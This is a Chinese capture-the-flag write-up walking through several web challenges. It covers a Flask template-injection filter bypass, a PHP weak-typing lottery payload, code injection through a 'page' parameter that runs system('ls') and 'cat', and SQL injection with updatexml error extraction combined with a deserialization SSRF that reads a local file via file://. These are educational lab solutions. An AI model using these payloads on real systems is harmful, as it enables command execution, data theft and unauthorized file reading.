1、进入内容如下所示:
2、整理代码,对如下的代码做代码审计。
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
3、这是flask ssti的模板注入,而且注入点在shrine/后面,但是代码将 () 替换为空字符,还把config和self加入了黑名单。
4、源码中有这一行代码:app.config[‘FLAG’] = os.environ.pop(‘FLAG’),这样的话{{config}}可查看所有app.config内容,但是config被加入了黑名单,但是在Flask中,有一些特殊的变量和方法是可以在模板文件中直接访问的。
config 对象:
config 对象就是Flask的config对象,也就是 app.config 对象。
{{ config.SQLALCHEMY_DATABASE_URI }}
虽然有过滤但python还有一些内置函数,比如url_for和get_flashed_messages
url_for()作用:
(1)给指定的函数构造 URL。
(2)访问静态文件(CSS / JavaScript 等)。 只要在你的包中或是模块的所在目录中创建一个名为 static 的文件夹,在应用中使用 /static 即可访问。
get_flashed_messages方法: 返回之前在Flask中通过 flash() 传入的信息列表。
payload:
{{url_for.globals[‘current_app’].config[‘FLAG’]}}
{{get_flashed_messages.globals[‘current_app’].config[‘FLAG’]}}
flag{shrine_is_good_ssti}
1、进去页面如下所示,需要用钱来买flag,但是不会傻乎乎地真用钱来买呀!
2、御剑扫一下发现存在robots.txt,然后打开,就有新的发现了。提示是.git文件泄露。
4、在api.php中发现可以利用的代码,其中 numbers参数是我们可以控制的,并且 后面还用了 == 进行比较,所以存在弱类型漏洞。
5、然后返回页面,按照提示开始Buy a lottery!
6、然后抓包,构造payload:{“action”:“buy”,“numbers”:[true,true,true,true,true,true,true]}.
7、回到Claim Your Prize页面,就有钱买flag了。
flag: cyberpeace{cb96bfb5322d1da400fdab5f7a91cf93}
1、进去页面如下所示:
2、随便点点看看,点到About的时候,发现如下所示,这样的到了这个是用什么语言编写,框架是什么,这样的话,根据提示的话,又是git泄露了。
3、使用GitHack还原一下源代码,有个flag.php,结果里面没有flag。
4、然后又开始查看每一个文件,在index.php中,发现如下代码,应该是代码执行漏洞了。
返回内容要查看源码:
?page=’).system(“ls”);//
?page=’).system(“ls templates”);//
?page=’).system(“cat templates/flag.php”);//
直接显示:
?page=’.system(“ls”).’
?page=’.system(“ls templates”).’
?page=’.system(“cat templates/flag.php”).’ //flag要查看源代码获得
flag: cyberpeace{348ef9cf165a5b17ffe75a6e2b56454b}
2、根据提示:逆向加密算法,解密$miwen就是flag。写出以下脚本,运行,直接得到flag。
php文件在线运行网站:https://tool.lu/coderunner/
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$txt1="学习 PHP";
function decode($str){
$_o=base64_decode(strrev(str_rot13($str)));
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
return strrev($_);
}
echo decode($miwen);
?>
flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
1、进去页面如下:
2、点击join之后,点开用户看一看。
3、扫描发现有robots.txt,访问,有备份文件。
4、下载文件打开,是如下的代码。
5、代码审计:我们输入的信息被保存为序列化,读取的时候会从数据库中取出并反序列化,然后显示在blog界面。Get()方法并没有对获取过来的url进行任何的过滤所以这里存在SSRF,curl不仅可以http、https还可使用file协议,构造反序列字符串读取flag.php
6、寻找注入点,在参数no处测试?no=1 and 1=1
7、测试?no=1 and 1=2
8、数字型注入,且爆出了网站的绝对路径,下面先正常注入
9、爆表名 ?no=1 and updatexml(1,make_set(3,’~’,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
10、爆列名 ?no=1 and updatexml(1,make_set(3,’~’,(select group_concat(column_name) from information_schema.columns where table_name=“users”)),1)#
11、可以看到有四列,用user.php获取序列化后的字符串,构造语句注入即可,/view.php?no=0//union//select 1,2,3,'O:8:“UserInfo”:3:{s:4:“name”;s:1:“1”;s:3:“age”;i:1;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}'
12、查看页面源代码,有一个链接,点击链接,直接得到flag。
flag{c1e552fdf77049fabf65168f22f7aeab}
参考文章:https://blog.csdn.net/weixin_43610673/article/details/105189034